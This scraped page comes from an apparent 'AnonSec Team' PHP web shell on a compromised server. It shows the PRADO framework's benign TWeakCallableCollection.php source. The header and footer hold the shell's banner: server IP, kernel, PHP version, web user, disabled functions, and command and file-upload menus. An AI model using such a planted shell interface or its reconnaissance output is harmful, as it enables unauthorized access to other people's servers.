AnonSec Team
Server IP : 10.2.73.233  /  Your IP : 216.73.216.59
Web Server : Apache/2.4.59 (Debian)
System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/ifk/web/prado4.3.2/Collections/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/ifk/web/prado4.3.2/Collections/TWeakCallableCollection.php
<?php
/**
 * TWeakCallableCollection class
 *
 * @author Brad Anderson <belisoful@icloud.com>
 * @link https://github.com/pradosoft/prado
 * @license https://github.com/pradosoft/prado/blob/master/LICENSE
 */

namespace Prado\Collections;

use Prado\Exceptions\TInvalidDataValueException;

/**
 * TWeakCallableCollection class
 *
 * TWeakCallableCollection implements a priority ordered list collection of callables.  This extends
 * {@link TPriorityList}.  This holds the callables for object event handlers and global event handlers by
 * converting all callable objects into a WeakReference (for PHP 7.4+).  TWeakCallableCollection prevents circular
 * references in global events that would otherwise block object destruction, and thus removal of the callable
 * in __destruct. All data out has the callable objects converted back to the regular object reference in a callable.
 *
 * @author Brad Anderson <belisoful@icloud.com>
 * @since 4.2.0
 */
class TWeakCallableCollection extends TPriorityList
{
	/**
	 * @var bool wether or not WeakReference is available
	 */
	private static $_weak;


	/**
	 * Constructor.
	 * Initializes the list with an array or an iterable object. Discovers the availability of the
	 * {@link WeakReference} object in PHP 7.4.0+.
	 * @param null|array|\Iterator $data the initial data. Default is null, meaning no initial data.
	 * @param bool $readOnly whether the list is read-only
	 * @param numeric $defaultPriority the default priority of items without specified priorities.
	 * @param int $precision the precision of the numeric priorities
	 * @throws \Prado\Exceptions\TInvalidDataTypeException If data is not null and is neither an array nor an iterator.
	 */
	public function __construct($data = null, $readOnly = false, $defaultPriority = 10, $precision = 8)
	{
		if (self::$_weak === null) {
			self::$_weak = class_exists('\WeakReference', false);
		}
		parent::__construct($data, $readOnly, $defaultPriority, $precision);
	}


	/**
	 * TWeakCallableCollection cannot auto listen to global events or there will be a loop.
	 *
	 * @return bool returns false
	 */
	public function getAutoGlobalListen()
	{
		return false;
	}

	/**
	 * returns whether or not WeakReference is enabled, thus the PHP version is over 7.4.0
	 * @return bool is WeakReference available
	 */
	public static function getWeakReferenceEnabled()
	{
		return self::$_weak;
	}


	/**
	 * If WeakReference is available, converts the $items array of callable that
	 * has WeakReferences rather than the actual object back into a regular callable.
	 * @param array $items an array of callable where objects are WeakReference
	 * @return array array of callable where WeakReference are converted back to the object
	 */
	protected function filterItemsForOutput($items)
	{
		if (!self::$_weak) {
			return $items;
		}
		if (!is_array($items)) {
			return $items;
		}
		$result = [];
		foreach ($items as $i => $handler) {
			if (is_array($handler) && is_object($handler[0]) && is_a($handler[0], '\WeakReference')) {
				$result[] = [$handler[0]->get(), $handler[1]];
			} elseif (is_object($handler) && is_a($handler, '\WeakReference')) {
				$result[] = $handler->get();
			} else {
				$result[] = $handler;
			}
		}
		return $result;
	}


	/**
	 * Converts the $handler callable that has WeakReferences rather than the actual object
	 * back into a regular callable.
	 * @param callable $handler but the $handler or $handler[0] is a WeakReference
	 * @return mixed callable by removing the WeakReferences
	 */
	protected function filterItemForOutput($handler)
	{
		if (!self::$_weak) {
			return $handler;
		}
		if (is_array($handler) && is_object($handler[0]) && is_a($handler[0], '\WeakReference')) {
			return [$handler[0]->get(), $handler[1]];
		} elseif (is_object($handler) && is_a($handler, '\WeakReference')) {
			return $handler->get();
		}
		return $handler;
	}


	/**
	 * Converts the $handler callable into a WeakReference version for storage
	 * @param callable $handler callable to convert into a WeakReference version
	 * @param bool $validate whether or not to validate the input as a callable
	 * @return mixed callable but with the objects as WeakReferences
	 */
	protected function filterItemForInput($handler, $validate = false)
	{
		if ($validate && !is_callable($handler, false)) {
			throw new TInvalidDataValueException('weakcallablecollection_callable_required');
		}
		if (!self::$_weak) {
			return $handler;
		}
		if (is_array($handler) && is_object($handler[0]) && !is_a($handler[0], '\WeakReference')) {
			return [\WeakReference::create($handler[0]), $handler[1]];
		} elseif (is_object($handler) && !is_a($handler, '\WeakReference')) {
			return \WeakReference::create($handler);
		}

		return $handler;
	}


	/**
	 * This flattens the priority list into a flat array [0,...,n-1]. This is needed to filter the output.
	 * @return array array of items in the list in priority and index order
	 */
	protected function flattenPriorities()
	{
		return $this->filterItemsForOutput(parent::flattenPriorities());
	}


	/**
	 * This flattens the priority list into a flat array [0,...,n-1], but
	 * leaves the objects in the array as WeakReference rather than standard
	 * callable.
	 * @return array array of items in the list in priority and index order,
	 *    where objects are WeakReference
	 */
	protected function flattenPrioritiesWeak()
	{
		return parent::flattenPriorities();
	}


	/**
	 * Returns the item at the index of a flattened priority list. This is needed to filter the output.
	 * {@link offsetGet} calls this method.
	 * @param int $index the index of the item to get
	 * @throws TInvalidDataValueException Issued when the index is invalid
	 * @return mixed the element at the offset
	 */
	public function itemAt($index)
	{
		if ($index >= 0 && $index < $this->getCount()) {
			$arr = $this->flattenPrioritiesWeak();
			return $this->filterItemForOutput($arr[$index]);
		} else {
			throw new TInvalidDataValueException('list_index_invalid', $index);
		}
	}

	/**
	 * Gets all the items at a specific priority. This is needed to filter the output.
	 * @param null|numeric $priority priority of the items to get.  Defaults to null, filled
	 * in with the default priority, if left blank.
	 * @return array all items at priority in index order, null if there are no items at that priority
	 */
	public function itemsAtPriority($priority = null)
	{
		return $this->filterItemsForOutput(parent::itemsAtPriority($priority));
	}

	/**
	 * Returns the item at an index within a priority. This is needed to filter the output.
	 * @param int $index the index into the list of items at priority
	 * @param numeric $priority the priority which to index.  no parameter or null will result in the default priority
	 * @return mixed the element at the offset, false if no element is found at the offset
	 */
	public function itemAtIndexInPriority($index, $priority = null)
	{
		return $this->filterItemForOutput(parent::itemAtIndexInPriority($index, $priority));
	}

	/**
	 * Inserts an item at the specified index within a priority.  This is needed to filter the input.
	 * @param mixed $item item to add within the list.
	 * @param false|int $index index within the priority to add the item, defaults to false which appends the item at the priority
	 * @param null|numeric $priority priority of the item.  defaults to null, which sets it to the default priority
	 * @param bool $preserveCache preserveCache specifies if this is a special quick function or not. This defaults to false.
	 * @throws \Prado\Exceptions\TInvalidDataValueException If the index specified exceeds the bound
	 * @throws \Prado\Exceptions\TInvalidOperationException if the list is read-only
	 */
	public function insertAtIndexInPriority($item, $index = false, $priority = null, $preserveCache = false)
	{
		if ($priority === null) {
			if ($item instanceof IPriorityItem) {
				$priority = $item->getPriority();
				$priority = is_numeric($priority) ? $priority : null;
			}
		}
		return parent::insertAtIndexInPriority($this->filterItemForInput($item, true), $index, $priority, $preserveCache);
	}

	/**
	 * Removes the item at a specific index within a priority.  This is needed to filter the output.
	 * @param int $index index of item to remove within the priority.
	 * @param null|numeric $priority priority of the item to remove, defaults to null, or left blank, it is then set to the default priority
	 * @throws TInvalidDataValueException If the item does not exist
	 * @return mixed the removed item.
	 */
	public function removeAtIndexInPriority($index, $priority = null)
	{
		return $this->filterItemForOutput(parent::removeAtIndexInPriority($index, $priority));
	}

	/**
	 * This is needed to filter the input.
	 * @param mixed $item item being indexed.
	 * @return int the index of the item in the flattened list (0 based), -1 if not found.
	 */
	public function indexOf($item)
	{
		if (($index = array_search($this->filterItemForInput($item), $this->flattenPrioritiesWeak(), true)) === false) {
			return -1;
		} else {
			return $index;
		}
	}

	/**
	 * Returns the priority of a particular item.  This is needed to filter the input.
	 * @param mixed $item the item to look for within the list.
	 * @param bool $withindex this specifies if the full positional data of the item within the list is returned.
	 * 		This defaults to false, if no parameter is provided, so only provides the priority number of the item by default.
	 * @return array|numeric the priority of the item in the list, false if not found.
	 *   if withindex is true, an array is returned of [0 => $priority, 1 => $priorityIndex, 2 => flattenedIndex,
	 * 'priority' => $priority, 'index' => $priorityIndex, 'absindex' => flattenedIndex]
	 */
	public function priorityOf($item, $withindex = false)
	{
		return parent::priorityOf($this->filterItemForInput($item), $withindex);
	}


	/**
	 *  This is needed to filter the output.
	 * @return array the array of priorities keys with values of arrays of callables.
	 * The priorities are sorted so important priorities, lower numerics, are first.
	 */
	public function toPriorityArray()
	{
		$result = [];
		foreach (parent::toPriorityArray() as $i => $v) {
			$result[$i] = $this->filterItemsForOutput($v);
		}
		return $result;
	}


	/**
	 * @return array the array of priorities keys with values of arrays of callables with
	 * WeakReference rather than objects.  The priorities are sorted so important priorities,
	 * lower numerics, are first.
	 */
	public function toPriorityArrayWeak()
	{
		return parent::toPriorityArray();
	}

	/**
	 * Combines the map elements which have a priority below the parameter value.  This is needed to filter the output.
	 * @param numeric $priority the cut-off priority.  All items of priority less than this are returned.
	 * @param bool $inclusive whether or not the input cut-off priority is inclusive.  Default: false, not inclusive.
	 * @return array the array of priorities keys with values of arrays of items that are below a specified priority.
	 *  The priorities are sorted so important priorities, lower numerics, are first.
	 */
	public function toArrayBelowPriority($priority, $inclusive = false)
	{
		return $this->filterItemsForOutput(parent::toArrayBelowPriority($priority, $inclusive));
	}

	/**
	 * Combines the map elements which have a priority above the parameter value. This is needed to filter the output.
	 * @param numeric $priority the cut-off priority.  All items of priority greater than this are returned.
	 * @param bool $inclusive whether or not the input cut-off priority is inclusive.  Default: true, inclusive.
	 * @return array the array of priorities keys with values of arrays of items that are above a specified priority.
	 *  The priorities are sorted so important priorities, lower numerics, are first.
	 */
	public function toArrayAbovePriority($priority, $inclusive = true)
	{
		return $this->filterItemsForOutput(parent::toArrayAbovePriority($priority, $inclusive));
	}
}

AnonSec - 2021